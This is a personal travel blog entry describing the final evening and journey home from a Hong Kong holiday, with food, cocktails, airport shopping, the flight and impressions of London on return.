We got the ferry back from Macau into Hong Kong, and then returned to the hostel and spent the entire afternoon catching up on sleep. At about 6pm we went out and met up for the final time with Will’s friends Syliva and Winnie, and we grabbed a quick snack of some more takoyaki octopus balls, before getting some sushi. We had sea urchin (smooth and buttery); various sashimis – salmon, red snapper (a quite strong but pleasant fishy taste), geoduck (a species of saltwater clam, which didn’t taste of much); and sushi covered in brightly coloured crab roe.

Then we went to a different place for dessert, which was a massive tower of ice crystals like a solid slush puppy, with various flavourings – strawberry, sesame and green tea. The green tea flavour didn’t really taste of anything. There was also a pot of syrup you could pour over the ice, which just made it melt away leaving you with a sweet slush.

We picked up some sweets for our various offices. I would have loved to have picked up the sweetened duck kidneys, but Will reminded me that you probably can’t bring back meat products into the UK (and he was right – there was an announcement when we arrived back at Heathrow about the huge fines and imprisonment you risk by attempting to do so).

We got a bus back down to the harbour to go to the Sheraton again for cocktails with a view, as Syliva and Winnie hadn’t been before – the usual story of not doing the touristy things in your own city unless you’re with visitors. The “Key of Soul” cocktail was nice and fruity, and the non-alcoholic ones were really nice too, but the highlight had to be one called “Elements” which was made from Bailey’s and strawberries. It was like a strawberry milkshake with a kick – delicious.

Perhaps unwisely it was a pretty late night. We didn’t get to bed until about 2am, and we were going to have to check in for our flight at about 6.30…

Saturday 10th October

After about two hours’ sleep, Will’s aunt’s driver Jackie picked us up to take us to the airport. Hong Kong airport is at number ten on the list of biggest buildings in the world by floor space, so that was two ticked off on one holiday (along with The Venetian). It’s nice and modern, but apart from that it’s just another airport. One of the duty-free shops had a bottle of blended cognac on display worth HK$38,000 (about £3000), at what seemed an easily-smashable height. The cognacs in the ingredients all dated from between 1800 and 1930. I don’t know who would ever buy such a thing at an airport – I can only conclude that it was on such prominent display in the hope that someone would break it and have to pay for it. Another shop was called “Caviar & Prunier”. It’s strange how duty-free areas at airports still have this aspirational quality, even though air travel is such a cheap and normal thing to do these days. You wouldn’t get this kind of thing in a bus station.

The plane was half an hour late for boarding, but that was pretty insignificant for a 13-hour flight. It was another pleasant flight with Air New Zealand – I’d happily use them again. Three meals this time – sausage and omelette for breakfast, a ham and cheese sandwich half-way through the flight, and a lunch of chicken curry. On the in-flight entertainment system I watched Frost/Nixon, which I’ve been wanting to watch for a while – an excellent film, and for my non-film-buff, tired self it was nice and easy to follow.

We landed just after 3pm and were home by 5. I felt tired but my body clock seemed correct – it didn’t “feel” like the midnight that it was in Hong Kong. I’d had a bit of a nap on the plane but not for very long.

London smells clean. That’s not something I would ever have expected to say, but there was a notable freshness in the air compared to Hong Kong. The skies are clearer and it’s far less hazy. And the buildings are a lot smaller. It was strange sitting on the train back to Forest Hill and looking out over what seemed like a small town compared to the towering city we’d grown used to.

I think I’ll give myself a break from Chinese food for a while – at home we treated ourselves to a dinner of burger and chips. Not that we couldn’t easily have had that in Hong Kong – there are plenty of branches of McDonald’s, but a large part of this holiday was about trying out the local food. The Chinese takeaway menu waiting on the doormat was actually rather unfamiliar – there’s so much more variety to Chinese food than crispy duck pancakes, sweet and sour and chow mein – in fact these were all things that we hardly saw out there. It just shows how we get a very Westernised version of foreign food, but then maybe that’s because we don’t have much of an appetite for the boney gristle and pigeon’s heads.

Not that we would have tried of half of these things if it weren’t for Will – although there is quite a lot of English around, a lot of people don’t speak it and plenty of menus don’t have any English on them either, so having a Cantonese speaker in the group made it a lot easier, more interesting and fun. In fact we wouldn’t even have gone in the first place without him, so cheers Will!

I’m pretty tired now and wish I had a few more days off before going back to work.